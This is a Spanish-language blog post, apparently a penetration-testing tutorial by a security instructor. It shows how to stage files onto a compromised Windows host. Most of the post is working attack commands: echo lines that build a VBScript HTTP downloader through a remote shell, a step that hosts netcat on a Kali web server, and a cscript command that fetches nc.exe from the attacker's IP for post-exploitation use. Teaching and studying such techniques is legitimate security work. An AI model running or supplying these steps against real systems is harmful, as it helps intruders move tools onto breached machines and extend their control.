Subir Archivos hacia un Sistema Comprometido utilizando VBScript

  • Posted on: 8 August 2016
  • By: ReYDeS

VBScript es un lenguaje activo de scripting desarrollado por Microsoft. Diseñado como un lenguaje ligero con un intérprete veloz, para usarse en una amplia variedad de entornos Microsoft VBScript utiliza “Component Object Model” para acceder hacia elementos del entorno dentro del cual está ejecutándose; por ejemplo; FileSystemObject(FSO) se utiliza para crear, leer, actualizar y borrar archivos.

VBScript viene por defecto instalado desde Windows 98 hasta Windows XP y Windows Server 2003. Este motor de scripting puede ser aprovechado para descargar archivos hacia la máquina comprometida.

La siguiente demostración se basa en un sistema comprometido sobre el cual se tiene acceso shell de comandos en Windows.

El siguiente conjunto de comandos “echo” no interactivos, cuando son pegados en un shell remoto, escribirán un script VBS el cual actúa como un sencillo programa de descarga utilizando el protocolo HTTP.


C:\> echo strUrl = WScript.Arguments.Item(0) > wget.vbs
C:\> echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
C:\> echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
C:\> echo Err.Clear >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
C:\> echo http.Open "GET", strURL, False >> wget.vbs
C:\> echo http.Send >> wget.vbs
C:\> echo varByteArray = http.ResponseBody >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
C:\> echo set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
C:\> echo strData = "" >> wget.vbs
C:\> echo strBuffer = "" >> wget.vbs
C:\> echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
C:\> echo ts.Write.Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
C:\> echo Next >> wget.vbs
C:\> echo ts.Close >> wget.vbs

Se lista el directorio por el archivo de nombre “wget.vbs”, el cual ha sido correctamente creado.

La herramienta a descargar desde el sistema comprometido será netcat, razón por la cual se copia el archivo de nombre “nc.exe” hacia el directorio web raíz de Kali Linux.

# cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe

El comando “cscript.exe”es una versión en línea de comandos de “Windows Script Host” el cual proporciona opciones en línea de comandos para ajustar propiedades del script. Con “cscript.exe” se puede ejecutar scripts tipeando el nombre del archivo script en la línea de comando.

Desde la máquina comprometida se ejecuta el script indicando la URL donde reside el archivo a descargar. También se define un nombre para el archivo a descargar.

C:\>cscript wget.vbs http:// 192.168.0.46/nc.exe nc.exe

Si todo ha sido realizado correctamente, el script se ejecuta satisfactoriamente, y el archivo de nombre “nc.exe” ha sido descargado en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://en.wikipedia.org/wiki/VBScript
https://technet.microsoft.com/en-us/library/bb490887.aspx

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Curso de Informática Forense